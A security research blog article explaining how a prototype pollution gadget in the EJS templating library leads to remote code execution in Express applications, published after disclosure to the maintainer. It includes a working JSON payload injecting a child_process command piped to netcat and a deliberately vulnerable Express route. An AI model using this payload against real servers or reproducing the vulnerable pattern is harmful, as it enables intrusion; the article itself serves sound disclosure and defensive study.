keyboard_arrow_up

title: EJS - Server Side Prototype Pollution gadgets to RCE
date: Mar 09, 2023
tags: Article Web SSPP


EJS - Server Side Prototype Pollution gadgets to RCE



📜 Introdution

Last month (February 2023), I took a look into NodeJS HTML templating libraries. During my research, I found an interesting Server Side Prototype Pollution (SSPP) gadget in the EJS library which can be leveraged to RCE. After finding this issue, I spent a week searching for an SSPP in express core or dependencies, but I didn't find any issue. That's why, after reporting this issue to the repository maintainer, I'm making an article to explain technical details.


❓ How to use EJS with express?

Express framework brings a view engine system which allows the developer to choose which templating library he wants to use. Thanks to the EJS compliance, it usage is really simple in case of an express application. The only thing that the developer has to do is creating a /views folder with HTML template and call res.render() function.

Application folder

ejs_express.png

app.js

// Setup app
const express = require("express");
const app  = express();
const port = 3000;

// Select ejs templating library
app.set('view engine', 'ejs');

// Routes
app.get("/", (req, res) => {
    res.render("index");
})

// Start app
app.listen(port, () => {
    console.log(`App listening on port ${port}`)
})


🤖 SSPP Gadget

EJS maintainers have a really good understanding of SSPP issues and sanitize each object they create using a pretty secure function.

Render()

exports.render = function (template, d, o) {
    var data = d || utils.createNullProtoObjWherePossible();
    var opts = o || utils.createNullProtoObjWherePossible();

    // No options object -- if there are optiony names
    // in the data, copy them to options
    if (arguments.length == 2) {
        utils.shallowCopyFromList(opts, data, _OPTS_PASSABLE_WITH_DATA);
    }

    return handleCache(opts, template)(data);
};

createNullProtoObjWherePossible()

exports.createNullProtoObjWherePossible = (function () {
    if (typeof Object.create == 'function') {
        return function () {
            return Object.create(null);
        };
    }
    if (!({__proto__: null} instanceof Object)) {
        return function () {
            return {__proto__: null};
        };
    }

    // Not possible, just pass through
    return function () {
        return {};
    };
})();

As you can see from the above snippets, it is impossible to abuse SSPP to infect newly created object inside the library. Therefore, this is not true for user's provided objects. Why? From EJS maintainer's perspective, inputs provided by users to the library aren't the responsibility of EJS (security.md).

If we assume the d object (user's config) has an infected prototype, it will bypass all the protections. In this case, when the Template object is created, infected options will be used.

exports.compile = function compile(template, opts) {
    var templ;

    ...

    templ = new Template(template, opts);
    return templ.compile();
};


💥 RCE gadget

Now that we know that it is possible to control the prototype of the config object, it allows to go further in the exploitation. In order to prepare the templating, EJS compile a function which will later be evaluated to create the HTML markup.

eval.png

In addition, EJS uses several config elements to generate this function. Most of them are sanitized using _JS_IDENTIFIER regex. Thanks for us, this is not the case for all of them!

compile: function () {
    /** @type {string} */
    var src;
    /** @type {ClientFunction} */
    var fn;
    var opts = this.opts;
    var prepended = '';
    var appended = '';
    /** @type {EscapeCallback} */
    var escapeFn = opts.escapeFunction;
    /** @type {FunctionConstructor} */
    var ctor;
    /** @type {string} */
    var sanitizedFilename = opts.filename ? JSON.stringify(opts.filename) : 'undefined';

    ...

    if (opts.client) {
      src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;
      if (opts.compileDebug) {
        src = 'rethrow = rethrow || ' + rethrow.toString() + ';' + '\n' + src;
      }
    }

    ...

    return returnedFn;

As we can see from the above snippet, if opts.client exists, opts.escapeFunction attribute will be reflected inside the function body. As opts.client and opts.escapeFunction aren't set by default, it is possible to use them to reach the eval sink and get a RCE!

{
    "__proto__": {
        "client": 1,
        "escapeFunction": "JSON.stringify; process.mainModule.require('child_process').exec('id | nc localhost 4444')"
    }
}


👨‍💻 Final PoC

Express views use a default config when calling templating function, which make it vulnerable by default!

Vulnerable application

// Setup app
const express = require("express");
const app  = express();
const port = 3000;

// Select ejs templating library
app.set('view engine', 'ejs');

// Routes
app.get("/", (req, res) => {
    res.render("index");
})

app.get("/vuln", (req, res) => {
    // simulate SSPP vulnerability
    var a = req.query.a;
    var b = req.query.b;
    var c = req.query.c;

    var obj = {};
    obj[a][b] = c;

    res.send("OK!");
})

// Start app
app.listen(port, () => {
    console.log(`App listening on port ${port}`)
})

PoC

poc.png

Shell

rce.png